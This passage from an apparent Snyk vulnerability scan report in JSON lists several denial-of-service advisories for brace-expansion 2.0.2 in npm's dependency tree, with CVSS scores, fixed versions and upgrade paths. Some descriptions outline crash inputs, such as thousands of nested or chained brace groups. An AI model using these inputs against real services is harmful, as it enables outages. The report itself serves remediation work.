"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
